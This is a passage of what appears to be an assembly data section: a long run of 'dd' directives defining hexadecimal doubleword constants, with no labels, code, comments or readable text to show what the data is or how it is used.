647C20CDh, 35501A5Dh dd 7C01F9BCh, 0D9A7C18Eh, 9C513EBBh, 22E055F8h, 4982615Ch dd 506BE0D1h, 8F83B5DCh, 0F100AB79h, 380FEB78h, 1E0A234Bh dd 0E3B491h, 0BC93A7C5h, 76007034h, 43E1EC77h, 9838F33Ch dd 0F8C24CE0h, 2910B08Dh, 0FB297878h, 931808D2h, 802BB220h dd 0CE05B816h, 3EAD4168h, 0E7FFD890h, 0D12A0C5Ch, 7A39FD8Fh dd 6EAB4200h, 6621EAE4h, 0C94F6178h, 171568F6h, 81ACA580h dd 9C935D47h, 82097335h, 0BC49DE7Ch, 2E2862B0h, 7343045Bh dd 0C8510784h, 297DAA25h, 0A909C02Bh, 21873486h, 4FCD0609h dd 2B940064h, 0A9FC6E2Ah, 0DC42F2B0h, 0D31848C9h, 0FBB30009h dd 773D4165h, 9A2035DBh, 3B30B107h, 1418BB78h, 30170801h dd 432862DAh, 10D130E1h, 2E2BAE28h, 3084203Fh, 6A0355E1h dd 8097828h, 0EF8D250h, 8DCF11C0h, 0F4D9F110h, 7469C0D7h dd 9952FB5h, 0D4C9F42Ch, 888F815h, 3CD13340h, 36571376h dd 52C880F4h, 7E888EA9h, 9E6E0333h, 4105B8B1h, 64581DFAh dd 1CAF600Fh, 3D722267h, 0BA6C401Fh, 699C0705h, 0C17D848Bh dd 489E681Dh, 0E400290Ch, 0F4D40D67h, 58B7DF33h, 2100B8DAh dd 0ACF614DEh, 3828527Dh, 0A32E4082h, 0AD9300A8h, 8F08549Ah dd 1E89E2ECh, 3AEC6E64h, 472BD3h, 2B2CEE1h, 27066329h dd 30A0FFF1h, 542678C4h, 700E8098h, 0A0064131h, 2EF9CEB3h dd 343E407Ch, 3836F19h, 0A6F057C8h, 2898ADh, 0BBF45D5Ah dd 0CF6ADCC4h, 4B793B09h, 6EE0095Eh, 0D4E55470h, 19F91D02h dd 0E0BA0104h, 0F1525Ch, 61202DB0h, 96B559AFh, 7E570054h dd 1019C949h, 8C70BC92h, 675DC800h, 972159Ah, 0AF621487h dd 0CF00A8AEh, 187F8F44h, 2498810Ah, 828B0600h, 0C3761B17h dd 0D7FB0AC2h, 1B8D8E2h, 9E675729h, 87B08F33h, 0F7479EFAh dd 0B0D35A6Fh, 4C184832h, 5405ACD4h, 2792EE2Eh, 525E5484h dd 98CDFA00h, 0EB1A63h, 0C67EF25Bh, 1FAD3C62h, 0F8C30F31h dd 2208F440h, 0B1108A42h, 964584BBh, 22817838h, 10F8B056h dd 2E1BF95h, 316014CEh, 0DC2C3404h, 0F8008688h, 5AD9B08Fh dd 0EE8479CEh, 0A73A00E7h, 0FF740EEAh, 32518A52h, 850FD8A0h dd 81CE6C3Fh, 3C8FDB3Bh, 0A860768Bh, 0E0F51D28h, 3CE3DC90h dd 9C0C4507h, 53E2004h, 0F501EB2Bh, 0A73CC88Fh, 204E9B1Dh dd 9CDA3711h, 493C2E40h, 0FA486BFh, 7673FECDh, 910F1400h dd 49C4EDEBh, 49C04D0Ah, 0CAA6A70h, 0C27218F8h, 8960A408h dd 0DA1D9C20h, 0EF6A0E4Fh, 4D074B2Eh, 766301B8h, 0ECA09F1Eh dd 8FED0BC0h, 1419FAh, 0F1931248h, 6072D0F0h, 9007617Ah dd 0EECD69D2h, 27328910h, 0E64C0916h, 1D0C74CCh, 0E00087C8h dd 6C66ED19h, 55D67532h, 88BE8015h, 171B5A0Dh, 0A505E068h dd 85DEE900h, 7B1015F0h, 57E71B8Ah, 3AE82113h, 0B776E8E9h dd 0A6FF803h, 311FA66h, 7D3F0950h, 59009405h, 16D8DDEFh dd 0E3DB06Ah, 39EB14DBh, 203AF286h, 0DC07A203h, 0F04D1C37h dd 35F4C7Bh, 0C28AEE61h, 0D000DD46h, 58EC2E01h, 1373508h dd 0A79D7013h, 70CEE7D2h, 4700B2E6h, 0B3F4E4ADh, 1F02DD57h dd 409A4DA3h, 0C18B6E40h, 8C735AF5h, 0B80078ECh, 6527A979h dd 388D735h, 95D94D29h, 0C4124502h, 61012D7Eh, 56CBFF0Eh dd 0DCB0D0h, 0E33CE675h, 3F8464BDh, 855FF500h, 0F7E424EAh dd 39971CBh, 0AABF8B44h, 0AFB07392h, 1300D150h, 0F7CA652Bh dd 0B47197h, 23ED8F8Ch, 28A8A0E3h, 18942A34h, 7CE5AF00h dd 0CECA412h, 0EA93063Dh, 710F9190h, 0A0638076h, 0DE60FFCAh dd 821F0749h, 867078F3h, 80018A3h, 0EB7BFB25h, 783B79A5h dd 0F1BE1E1Fh, 1B9D3E59h, 99CEC018h, 0ECB1012Dh, 35D29100h dd 9B882839h, 0FBEE008Bh, 597F3E02h, 0D8737892h, 0C284E8F9h dd 0A0AFC00Fh, 0C8728160h, 470089ABh, 0EC1ECDF7h, 4CC0CF82h dd 0D96F0913h, 0EEE703FEh, 7F1E95F1h, 0E0E43889h, 8A713C05h dd 6028183Ah, 0AF104D40h, 5F70C07Ah, 0ABB842CCh, 0C13CF106h dd 7187BAEh, 0A2A612A4h dd 5A3E6144h, 8547E073h, 0C293E900h, 5BB17A01h, 9D6C1884h dd 82ED5846h, 4AF08B18h, 42AAC191h, 2C3724E2h, 54FF9030h dd 0C8EB6105h, 9D873507h, 5911FBE8h, 748E59A6h, 0FA2C6C00h dd 0EF61FF92h, 6F050C12h, 4C6840B2h, 488B7130h, 591BE2h dd 9A49ACDFh, 0B8CA6C3Fh, 0AAEA1E00h, 2D55ED3Ch, 0C279032Fh dd 868162F6h, 0EBBE7AA1h, 0AD85DE00h, 6EC004F9h, 98A26617h dd 8A00C1E5h, 2B54C305h, 3DBC09h, 0D08E4FFFh, 0C22EB843h dd 0EA8A9C0Ah, 0E680BC47h, 0BCC579D6h, 0B3130678h, 49260309h dd 86F5EDE2h, 0FA1E0E29h, 4D780019h, 59727062h, 7B00AF31h dd 2AA4CDC5h, 3EB6AD80h, 70018581h, 2B15638h, 0FA7EE4FBh dd 0A10CE6F2h, 48858CE2h, 23AE006Fh, 0A20297A9h, 2C3F5A3Ch dd 0AF068003h, 5038205Bh, 91D619F9h, 0CC34B16Dh, 0E1002FEBh dd 51E3E7AAh, 0FAE893h, 9D02CC81h, 3F343CEEh, 0D00C8E2h dd 6F5F80F5h, 0F4EA53Ah, 0CFCB18ACh, 88649700h, 0D700DCADh dd 511153E3h, 65AB63h, 18AA28D6h, 5FA6660Fh, 0F0F336B0h dd 10C06AE3h, 0D431DE94h, 0A4AC0444h, 0AAE9CA7Fh, 8FF961C0h dd 0CBDA00C2h, 828ECC2Fh, 530E62FDh, 602DF0BFh, 6AF8934Ch dd 389800A1h, 87B6A625h, 6375409Ah, 0D9C71800h, 2C803BDBh dd 0A3BB24B5h, 0ED740082h, 0FFF266C9h, 68614501h, 8479E9DEh dd 7EEFDFD0h, 75580E13h, 0BB21E092h, 0E693A2B0h, 7C405BC2h dd 83000EACh, 0ADB95933h, 90EFAEh, 0B789C5EDh, 3476C6E9h dd 926F2E16h, 77818B01h, 52F4AECFh, 32E60387h, 0B07E3EC7h dd 0C1C0C0D3h, 0A300743Bh, 7A9EDE0Fh, 321CC12h, 0A53DAAACh dd 2E9060BDh, 0D00583Bh, 6618A88h, 7CF14779h, 73E4031Fh dd 0B6DCD56Dh, 46C8E293h, 2800DACAh, 0A12BCF8Eh, 2D3FDDh dd 7713B41Bh, 0C2F71F74h, 2B6C839h, 2046C726h, 92B96059h dd 0BC8F3A0Bh, 0B47E770Eh, 3E51860h, 0FE8DC52h, 6FE83200h dd 3C937C04h, 31BD007Dh, 8019D617h, 280368C8h, 0A8C582E2h dd 792879AEh, 86720018h, 4AC43FF4h, 8000DB6Dh, 57C72050h dd 1AE4DA0h, 0C123EAF7h, 8058B340h, 34B9C688h, 476A5Eh dd 0BCED3BB5h, 4098BB4Eh, 56C5F700h, 0DFA9587Eh, 967564h dd 5E3F9D2Dh, 0ACDEBC07h, 78898207h, 0E394B3D2h, 0B8640880h dd 26FC00B9h, 0EBF8D579h, 0E8002D86h, 43B0A55Dh, 214C8Dh dd 46EB4C7h, 0AE3AD89Dh, 0BB3A0BF8h, 0D0EBB0EEh, 1DF308Ah dd 2B959070h, 0FBE4D6CEh, 2750BE05h, 8487B1D5h, 0C06361F2h dd 4C75B7h, 0A440064Ah, 0D86C539Ah, 0FE792E07h, 2B90B73Bh dd 1D5749DCh, 87120DB2h, 3071A521h, 895C059Eh, 87B30C0Fh dd 9C760072h, 6A3807h, 0EE6E3F17h, 23B02612h, 0D30FC700h dd 48C218F9h, 735AFC3Ah, 417713F6h, 9479F0A5h, 15FBE00Fh dd 4DA8C001h, 9012E889h, 0F284045Fh, 800A291Eh, 80AEF9DDh dd 1F0E4598h, 0A4EF0C4Fh, 9183E2B2h, 3D02E8A5h, 0C994830h dd 0E9D3B501h, 606964CBh, 50003E4Eh, 897B081Dh, 41A6E4h dd 974668E6h, 0B3D4B4FDh, 0F09FCA28h, 3D030EECh, 0BE6CDC99h dd 0C5C0AD13h, 9272A0B0h, 0AD30030h, 0F2BBCAA9h, 0EA0054E2h dd 33E7C215h, 0D2289Fh, 77F5F4D5h, 1976A9DAh, 0F7AB5700h dd 2ED94E25h, 58010550h, 9A0439Fh, 2C111390h, 0B0F8DC3Bh dd 0B979600h, 854C050Ch, 238D0013h, 915471D9h, 3700C845h dd 1953AB0Eh, 1F46F52Ah, 8F6D55FAh, 0C2408F7Ch, 0EC71FD24h dd 0F14EE400h, 0E71E8349h, 0D19E0022h, 41DF0FE6h, 0AA00B819h dd 0A45D10BDh, 482D8AE2h, 0BA009933h, 6D2280C9h, 0EC30F187h dd 0A9BC1908h, 1AD00CFh, 7EC71776h, 46705388h, 0B6653000h dd 1CBB7890h, 2EF89Ah, 524FDC97h, 5384B0C5h, 98F22C00h dd 9C3CBE0Ah, 0EDCE00C6h, 73385DABh, 0F500EA32h, 112EAD3Dh dd 4C0D16B9h, 5400C657h, 29019C42h, 27005BCCh, 4CCA6BB1h dd 3B2F0B75h, 28033ADDh, 0A2EA20E8h, 985B4698h, 0D58ECA00h dd 7C24ADB6h, 57750045h, 2E7E3378h, 4801EDCFh, 996C5D5Bh dd 0A832E11Ah, 0DF266F0Bh, 1D180080h, 6701F6BAh, 0C3B121B6h dd 0EC40DD3Eh, 4D553804h, 0BE0F4818h, 0AC4023C6h, 0BC14C886h dd 0B22EF207h, 40BF4C7Dh, 0FFC5AB4Bh, 0BF307BDh, 808A5FA1h dd 0E8FEF969h, 8056423Ch, 0B2E75E81h, 8C92D1h, 0B3120E6Ah dd 11EE15FEh, 0A80C6800h, 2B1FA1E7h, 94CE3E1Bh, 0F20059B8h dd 0AD7E37DBh, 187188BAh, 0C316DA00h, 0FCA53F82h, 6EF91E78h dd 0D2BC0001h, 80C49A27h, 3E31F43Ah, 80783B61h, 983389E0h dd 0ECA4792Ch, 7B18005Ah, 598C1373h, 0EE00C6E8h, 2F1A37D4h dd 4CCCEA95h, 0E70040DEh, 0C5B3216Dh, 9D00631Ch, 0F747AC2h dd 0E233DCh, 7DB91B7Ch, 0F422698Fh, 0EE47EF00h, 1AB25891h dd 11A00654h, 70AD4266h, 15192200h, 29D645Ch, 0D13E12D4h dd 0BB8800A4h, 8CDD2B0Fh, 9401A9F6h, 9A81826Ah, 0D5F0CE23h dd 535800DFh, 7788C80h, 0E100921Ch, 3EEDB5E6h, 32DD5AFh dd 6FCB40F1h, 7DA0C5C2h, 5F008D8Bh, 1EB60170h, 90168F39h dd 59650008h, 82581948h, 9600239Eh, 0FF6BCBEh, 623181h dd 15D7D9EBh, 0E712755h, 7CDB5A07h, 0CB08FF3h, 4EB82Bh dd 0E28153F7h, 49153A9Dh, 0D4221407h, 6434F45Bh, 725FADC0h dd 4AC80081h, 0CCAFF69Bh, 0AB00A617h, 29286BA9h, 3ABDC4B8h dd 7780F4CEh, 0A3EA9D43h, 7B39FE98h, 14400156h, 615AA968h dd 0F31BC8h, 6A9EBB85h, 0A4F539A0h, 0E2A3EF00h, 0FB6D573Eh dd 0FDB900C2h, 0DC40912Fh, 0E54C4BE4h, 457F007Ah, 55D3FFE2h dd 0F662E8D9h, 6BDA0098h, 16B0C4E3h, 0A000A7A1h, 0D07FE109h dd 0AB4931h, 0F279840Bh, 94BEC257h, 5C129900h, 0A0CC6887h dd 7A900005h, 0D466BD30h, 0B03E2D8Fh, 0E8BAC7h, 0DE323ACDh dd 1A52C7Ah, 2530DC0h, 30BE8473h, 0CC00DAA2h, 0EA2B4CD6h dd 28BD6241h, 18759AAh, 43E9335Fh, 0C4B12CE1h, 4F04A972h dd 0B922D179h, 0C10BEB80h, 8EE50095h, 12352DE9h, 700B4F3h dd 1A47421h, 4CF515h, 0DBEB8C51h, 178B69CCh, 0A91D3400h dd 5312099Dh, 0B98D00B4h, 6BA4A823h, 7E00A160h, 55E9405Ch dd 32BC5DDh, 412A7886h, 0D4C89BF8h, 8800B1B5h, 6724BC3Bh dd 0A9AC96h, 1D2C04EAh, 9DA68D6Ch, 0BA009C98h, 18AF6629h dd 0FA75697h, 20F5142Dh, 0DC314103h, 0B8D9D0C7h, 110DE012h dd 80368221h, 762085C8h, 7690C0A0h, 7BDB9C95h, 360F8E74h dd 0C06864AEh, 37148796h, 6A323150h, 0E016EF10h, 5818A9FAh dd 0D820BF2Bh, 0AF5F9E3h, 8F962841h, 74A31885h, 0B1588034h dd 0A5171D9Dh, 0B600C5B6h, 78E74D42h, 5DFD01FFh, 402AD6E4h dd 2860819Ah, 19B5B494h, 0CD5E2843h, 0FADE5C07h, 0A466A701h dd 50EB2C70h, 0B61432h, 0A15EC954h, 0C482F7FBh, 0A98A6F07h dd 8F0C81Dh, 5B40DEh, 692FA72Bh, 0E302B6C0h, 529A7500h dd 9E1E3E79h, 6D9E0E7h, 0F6DC6F40h, 0B1ECA808h, 5229BC00h dd 6812AFFCh, 0CFD100B9h, 0B6A3EC39h, 6D07E023h, 583315A2h dd 84B02A87h, 785D0BF1h, 0BC2800DCh, 25D1461Bh, 5BFEA73Bh dd 9E9EA938h, 75C052D0h, 4889CA82h, 0C0110E16h, 0C20034Ah dd 0EC77DA61h, 0D8F84D78h, 12DC3Dh, 0F8F352CFh, 38364AC2h dd 1683D94Bh, 9AE64F3Ch, 0C4122839h, 37C5400Fh, 0DB808500h dd 0AE063AB7h, 84BE03FAh, 0B0346E57h, 870880C4h, 1500AD48h dd 5A860D6Ah, 3D181D02h dd 8A261ABFh, 71A43A79h, 0A35C01BBh, 30B47A3Bh, 0C600669Eh dd 2B12750Dh, 3886BBB6h, 6E070E57h, 0A0D648B3h, 53D4388Dh dd 4B034BBEh, 0C76089EEh, 35774940h, 45C71C67h, 0A6D78074h dd 1C4B3C88h, 8D797D01h, 0B919348Eh, 72903270h, 81680016h dd 0A59C9BE8h, 0EF07F02Ah, 952251F9h, 0D5A2F650h, 0F8DFFB6Eh dd 0B862Dh, 6D69AC1Ah, 29A09B99h, 38020900h, 1F8AAB76h dd 22D90042h, 16523AD1h, 0BB508CC1h, 770028C0h, 146FFBFCh dd 1EBDB698h, 79A48539h, 0DFA0AD80h, 5292B15Ch, 0D67EB400h dd 2A387D98h, 15873BC3h, 0C1D0331Dh, 0B40D78CEh, 0B842F801h dd 0D57A89F4h, 960F7A00h, 3EB4DF2h, 1EF4018Bh, 0AB9F749Bh dd 0CC5C8043h, 0E1227173h, 0EB330053h, 0C3A38F70h, 7F009AF0h dd 6F739096h, 481A320Ch, 0F7001040h, 0CE615298h, 0D8B56E8Eh dd 1585077Ah, 21088FEAh, 0D4FC076Ah, 863F52F1h, 0B560F87h dd 7D44B3Eh, 0B7C079A2h, 0D70507h, 0E85DBF31h, 0CB76DBDCh dd 85943Eh, 630A7DE3h, 0F08B9961h, 57EC62h, 5F725668h dd 0C06704E5h, 7A479809h, 178981ADh, 9DC8F8Bh, 7D7C00E0h dd 73E4CDF8h, 0C83A1FA4h, 0F18A0052h, 0B6536F9h, 471033Dh dd 0B0CC6FD0h, 0A03E1800h, 76E6D795h, 71A7894h, 61AF5644h dd 0A1ADA032h, 27286D23h, 3F0C8668h, 18C84212h, 2141003Ah dd 0BEC478A0h, 3D00CCF5h, 0B24E9481h, 486EDC10h, 53002625h dd 17DBB03h, 1E00300Fh, 0C9A0E77Fh, 607B09h, 748B803Fh dd 871A29DBh, 2C00BBECh, 0F2E48E2h, 1EDE8A84h, 0C0237890h dd 7A9A0794h, 1760F10Eh, 157FCB11h, 5AE400ACh, 9691DB8Bh dd 0D400D713h, 0B3E5528Ah, 7DB9A2CDh, 0C57001AEh, 8B94AF76h dd 8ED97055h, 0ECA05A00h, 0B7996B45h, 499A00CFh, 296CBE10h dd 0F21C1306h, 0D2C0977Dh, 0EA657241h, 432800F9h, 33634DB4h dd 0F1017FBCh, 0E254D790h, 0BD70F3EEh, 76F45Dh, 0A2805C9Fh dd 5647C138h, 8D819C04h, 0A2800ACDh, 0CEF937h, 0CCACB87Eh dd 0D0789DCAh, 48F430Fh, 0ECF004Ch, 9091946Ah, 0F2CCEAD3h dd 93A00049h, 0F4B5547Ah, 8800E78Eh, 48BCD93Ah, 0C5215Dh dd 0C07E964Bh, 0B3030717h, 84222000h, 5C86690Dh, 5DB059h dd 0AA47D06Bh, 0BA6A5BAEh, 65A9E50Fh, 0EDCDC0B2h, 14079003h dd 0D4FE9116h, 3C807F3Fh, 0F14FE1B5h, 2E3FB79Fh, 6D6F8015h dd 0BE42201Dh, 0F58D0313h, 9DA2B97h, 0AB9B30B8h, 0CB00DCFAh dd 9FE0D670h, 187146B9h, 58F105FCh, 0B81EF716h, 0DE41DB19h dd 0D99F5582h, 0FAFE95D0h, 25C11DB6h, 9BA30185h, 0D03DC70Eh dd 5300EA0Fh, 19D8E7B8h, 0EFAE91Bh, 3888BDD6h, 24C52F80h dd 6375EBD9h, 0FC5D7A03h, 0D5C47DD2h, 413DB401h, 2AC46A90h dd 5F801E34h, 696587DDh, 7081F6F9h, 8EED3900h, 7C2F7438h dd 943701D4h, 897A8360h, 0C3F5DE2Bh, 469881Dh, 284A00D9h dd 0AEBA6C23h, 0DA0FAB73h, 8059C9DFh, 0D9C11555h, 438C074Ch dd 80E1F1E5h, 0A5B56813h, 92D1E00h, 10D64ECEh, 0F7750Ch dd 69E1677Ch, 0E43B3391h, 0A0002C90h, 0E904AA8Eh, 7842D07h dd 8A4886Dh, 3E3BA074h, 0AF007A6Bh, 0ACEB4909h, 0CD40D8h dd 12C84668h, 0A138D780h, 8252543Ah, 5892F12Fh, 5EF2C055h dd 0FBFE0027h, 6507135Ah, 0F03F0AD0h, 6EC580EDh, 287E25D7h dd 13E7821h, 0FB1D4217h, 7F83AAA2h, 0F25A2FB0h, 3EF50B70h dd 730087ACh, 99CBE159h, 9AA1E900h, 3F226928h, 0F92F0958h dd 90205641h, 33D195C4h, 7FC38400h, 0E083B8B3h, 892300EDh dd 769F3935h, 0EA01FAC6h, 0E91DF5E4h, 0B4C04866h, 0E1AF020Ah dd 2E436A93h, 58C0F483h, 2203ABF4h, 0D26EB0A4h, 39E0DD9Ch dd 789014EFh, 5250DC00h, 0B58C283Ch, 39242443h, 0F6BC20F3h dd 0CB6B0003h, 15E95E72h, 5F002D2Ch, 0D8C21959h, 4881C5EEh dd 430180A3h, 298FB5B1h, 40F2BDh, 17000F4Ch, 0C29807FDh dd 3C6C30FFh, 99005BD9h, 0B98E5EE5h, 0FD0EA5D4h, 93F458h dd 0CA734C51h, 0FA7912D3h, 0A6480087h, 0D73FF68Fh, 0BC5B5000h dd 0D53A371Ch, 76AFE76h, 0E54098DEh, 8D3BD00Eh, 2126C2E1h dd 1E0060EFh, 0A04787EDh, 60D90357h, 732F8659h, 0FE29C08Fh dd 0B5006E8Dh, 61D718A9h, 6C132Eh, 0F7DE4AA4h, 1CD45A1Dh dd 0EAA18A00h, 6102493Dh, 3FCB0EB8h, 10C02A55h, 5A7F6DBBh dd 3D13EEF4h, 0A91EB5C0h, 0ED562580h, 3E7EA1E2h, 0F2DF274h dd 65F692C0h, 7C043270h, 0C495A701h, 47036090h, 695B0762h dd 0B03EB671h, 0D6E8CE05h, 8EB51902h, 4035E9EAh, 0FB06B96h dd 31E2A769h, 0A65DB441h, 0C7F8F893h, 60BC1B02h, 0C03C9147h dd 0F0CA0271h, 632A0003h, 0C80A6AD2h, 0A703A27Fh, 0A492391Dh dd 3A8100BDh, 0BC9FE557h, 50730E43h, 656A011Eh, 19401028h dd 0B49B806Ch, 9C010AE8h, 99F17A18h, 0E48E4E14h, 5DC05209h dd 0E65A3D2Fh, 0BB9FA100h, 42F7E9AFh, 3B2C0E4Ch, 63640AAEh dd 99CD3E5h, 6830B883h, 5E655899h, 282C6FD0h, 2040F2E0h dd 889AA00Fh, 0A760F400h, 4F465B4Eh, 0FAB7445h, 1E5F4353h dd 0A5F15098h, 0A34E6CA0h, 634F4500h, 0C9A85ABCh, 0D47597h dd 2C82B67Bh, 585F36CAh, 3A4F1300h, 1E0FEF92h, 7DFC00AAh dd 0ED59791h, 0BA0059B7h, 986C1D3Eh, 7FC174ECh, 0E0C317D7h dd 0B951002Ah, 9570DFA1h, 7901D40Eh, 6F67002Eh, 0BD30E9h dd 5FDCC61Fh, 0DA1C50B4h, 21C8E700h, 404BC0DBh, 8F2039F9h dd 13B69C00h, 0B4EAAC35h, 0FE074FEEh, 1E3467D8h, 55104880h dd 2619004Eh, 6C8C121h, 3100EB0Ah, 5A99541Fh, 0A07EFAh dd 0C705E6E3h, 4A2167D4h, 0A8E8A203h, 0A826BCBDh, 54192898h dd 8294C1h, 9440D7FEh, 0E1CA5C88h, 7A2E1800h, 2A0228EFh dd 2CB90076h, 741ECCA1h, 0F800679Dh, 7DFA1CACh, 37B957Eh dd 0F1386904h, 0FFA0CFF0h, 0B516F757h, 5B098547h, 0E5C80F8h dd 4962284h, 0C93AAC92h, 0D58C0E8h, 0E2006C19h, 24754C90h dd 3571A78h, 50E3F81Eh, 808C1259h, 0DF19E4D8h, 363C501h dd 0C341217Ah, 70DE0EF0h, 11B50071h, 0C1299D1Bh, 52039ABFh dd 0B9120747h, 28E9E857h, 98CB00CFh, 0E8221AB1h, 0EF3E94F0h dd 38B9801Eh, 890A70B6h, 16EA3AF7h, 96506A07h, 0BF7EF0A1h dd 4E2844C2h, 0DD1EC02Fh, 5D00F523h, 0ED05AF84h, 773803FAh dd 1BBA20E0h, 3500807Bh, 4AEC875Bh, 4DCB4D16h, 17A8C6Fh dd 40F9703Ch, 41D5A99Ah, 0EA52A580h, 29D88643h, 2E038775h dd 0D3A9EFAh, 8323F981h, 0AEA72880h, 0BEB331CBh, 3926E44Ch dd 0C8448ADh, 0A8DD1F63h, 0A9AB0090h, 0C862201Ah, 0E40092B4h dd 0DEE006D6h, 4DDB9493h, 3100C8B3h, 8FBA01B9h, 0B47B1D8Bh dd 7F75A000h, 51C71337h, 0B6090068h, 58147BD5h, 4703302Ch dd 6504A050h, 0D90F8883h, 78E7651h, 39B0CF8Bh, 0C8A87C97h dd 0CB667D01h, 0CE76A40Ch, 76F665F4h, 2D0100BDh, 60694854h dd 0FE003F8Ch, 7DA9D39Dh, 9CA817h, 4A6B9EBDh, 38055EE7h dd 0A8B82B28h, 0A3019290h, 273BC41h, 40F2ED46h, 447965h dd 82F9432Ah, 2DB3D31Eh, 72926114h, 0F1120890h, 818300F3h dd 7862DEFDh, 0E0573C00h, 39E5BB89h, 1B920064h, 0FF69DD91h dd 2F007D87h, 84AD2CB8h, 0CBB69F6Ch, 0EC002480h, 0BDA2794Dh dd 58FB8E00h, 0F9C8083Fh, 9DB062Bh, 0B838BAE2h, 0BE67914h dd 0A0C502E1h, 689165B6h, 3C1E440h, 44C393FFh, 0F5B84F03h dd 0AB09B555h, 40BDF8F3h dd 58C98FB4h, 4E025AD6h, 0F14D1A54h, 1E60D88Eh, 34DBFDDCh dd 2C49D103h, 0C9C21666h, 0A9E473B0h, 0EBF4A8D7h, 540C031Ah dd 0D95DD3C1h, 1CB952E8h, 4DA54D3Fh, 3CDD00B4h, 0B88AEF56h dd 0D1511FDCh, 0F74B80ADh, 93A99BDBh, 81D8073Bh, 0F9558473h dd 91E9EA0Dh, 0FBBAF0h, 6B22AA19h, 8C7D2DDDh, 323ABC00h dd 0CB795CA2h, 20B7074Eh, 0A0781238h, 0E9CD8591h, 0EBC6B600h dd 15FF40D9h, 184F0042h, 0C378F6D6h, 0C000DAC8h, 323EE7Dh dd 0EA5E4170h, 8BD60010h, 7437D289h, 0BF00CCA0h, 0AADC140Dh dd 3E665BBCh, 0C8007A20h, 0BDD93F44h, 0A21F0433h, 0AE40E76Eh dd 4A83E3B3h, 3984011Ch, 0B42F56E0h, 0EF51806Ch, 537132A1h dd 0C988008Ch, 17AFD429h, 940085E6h, 18207FA7h, 0ABE344h dd 33E8EFE1h, 6F1F0EB9h, 99502F00h, 3E4E8619h, 0CBD300CCh dd 90C33FA8h, 507D937h, 0B6AEACC0h, 4FFF17A1h, 8576C02Bh dd 6500D5C7h, 0B5E0D0BEh, 1CB73FEDh, 406FB2C4h, 0F17818AFh dd 0F600FC6Dh, 0D684CB90h, 0E2F8DC8Dh, 0FB300E9h, 5C25403Bh dd 0AB0ECE7Fh, 0C0490417h, 0AC9C2A06h, 8AC300DBh, 36D0573Fh dd 8B62907Ah, 20F3D7A8h, 0E4B71CD6h, 0B4CAE81Ch, 4BC62507h dd 0D9432190h, 0B1660026h, 0CA23AEF9h, 0B3001EC4h, 0BB2560F2h dd 305B6873h, 3E6C4B30h, 4E00DA9Dh, 4498476h, 92F08Bh dd 8ECECCBDh, 81A25397h, 0AA7C147Ch, 2F16ACB8h, 1B0F73FAh dd 0C16C2067h, 478CB2h, 0B84C4ACBh, 0E9A8DF87h, 2C59DB00h dd 22C6DA7Ch, 181D06CAh, 50A05195h, 29E2041Ch, 8EC41AF0h dd 0F9A30C03h, 41215A9Ch, 0C0D2EC18h, 9E1E496h, 0FCC2A583h dd 315F2780h, 5900ADC1h, 79773487h, 0F2E586C9h, 3E0900D3h dd 3CB69BD2h, 8215E094h, 0E4D862h, 0DF87A9Ah, 2836Dh, 855607B0h dd 0B03E674h, 0FBE8D400h, 496116D3h, 0E13E0708h, 0D0DCB6C5h dd 0D0953F1Dh, 24DCB3Ah, 1AF2EA10h, 9040407Dh, 8EF7003Dh dd 0B9D7940Fh, 1E7D81A8h, 8165B73Ch, 4A151108h, 68807BC4h dd 473C32E1h, 0D075DEF1h, 14D9107h, 0DB10B1h, 0AB629233h dd 0F1A9001Dh, 54F216C7h, 6800A331h, 82FCD0A6h, 39C8A7ACh dd 3980CC63h, 690B924Ch, 70181DCDh, 3718650Eh, 46C000Fh dd 17559006h, 9D00B5F6h, 0ED156F26h, 907F317Bh, 0AF1C0079h dd 775463E5h, 0C80051BFh, 2D649C87h, 0F86F4F7h, 0D8B43221h dd 19BCE780h, 0C09DFFC7h, 2C0887D2h, 0F1D4203h, 45C1CE81h dd 0DC051C32h, 94EA3FA2h, 3C08500h, 9FCF48C4h, 99EA01A8h dd 0E8C8992h, 0FCB7ECCBh, 600F22B8h, 409DFD61h, 495C8B3Bh dd 84E500E8h, 30544AA0h, 2B0175C3h, 649612DAh, 97F04B03h dd 0C0BD0035h, 1FF7B41Bh, 341F78E5h, 0EC15710h, 8A193B15h dd 4F3EF4h, 0CE824AA9h, 0FB390A99h, 4B18C400h, 66F052E9h dd 3B2F005Eh, 0E979394h, 9800E2C5h, 15286FDCh, 486B4E0Bh dd 0A200888Ch, 5F766CFBh, 0E0017B50h, 3E3296D5h, 3C20CD83h dd 307DE613h, 8B18ECE7h, 2A004C53h, 0BD43E95Ah, 6DF229h dd 448CA60Bh, 0C1F62BBAh, 72AC0700h, 143585EDh, 3C0D07D3h dd 838F399Bh, 80CFC51Ah, 21FE4DEFh, 0D600A598h, 0E2270709h dd 63E1B022h, 0EFC710D0h, 0D37E4CC0h, 0E21780h, 2379A031h dd 56782860h, 7C475A00h, 0A3C8D7D3h, 8393071Ch, 0F0CA1E17h dd 4A66AD21h, 41E69401h, 9983ED5h, 30811CDCh, 574056BBh dd 61C7CC39h, 0DFE21Fh, 0BB2C0220h, 0F3BAE867h, 0C583E0h dd 5E12CA80h, 0FDCF3ED8h, 0B861589Ah, 54BC7F20h, 19FE6098h dd 0BF49F482h, 75100DCh, 4C66D15Eh, 0CC360071h, 0DF2928CAh dd 0DA019741h, 6D53265Ah, 34FCA3E8h, 97B0FFh, 2A22A4Fh dd 75B0D517h, 9624C41Fh, 786C0140h, 3B36D694h, 370E5044h dd 0E82031BCh, 0C7963B90h, 5761DC00h, 3C939A2Dh, 0B38A03BFh dd 56FEB873h, 4902F100h, 0CE855A33h, 2AB58A7h, 812E2700h dd 35A9ADC8h, 25001AF0h, 741FDFAEh, 0E6A8CE38h, 699400DAh dd 84680BBCh, 60009131h, 50CF3C39h, 5FE4ADh, 0F0CB063h dd 9CA28626h, 8413BC00h, 0A17EAF24h, 72E019Dh, 88AD2534h dd 0E48D30F3h, 0A3CF3000h, 0D141774h, 458E00F6h, 6327BBB1h dd 0BD0EDCA7h, 0E07CB6C3h, 682D9986h, 0A0D61E70h, 0D79B80E6h dd 4E0ECD92h, 0A0ECEB5Ah, 0DCEEF04Bh, 821FC60Bh, 0AB3C80DEh dd 3BE93388h, 0D300B1D7h, 0A59CB7FDh, 0EB000492h, 5228E525h dd 0C469B3h, 0C8AF4474h, 92397654h, 823D093Ah, 79CE0C6Bh dd 3E58402Dh, 0A32A01B8h, 0EDBF72C6h, 99F030C0h, 9C243600h dd 23B0F871h, 9EFE00D1h, 67C8592Ch, 7009AF62h, 206A1FB8h dd 0DAB70914h, 40F800AAh, 0E8D0205Ah, 8E00CA06h, 7CB9DFDEh dd 0BED795Bh, 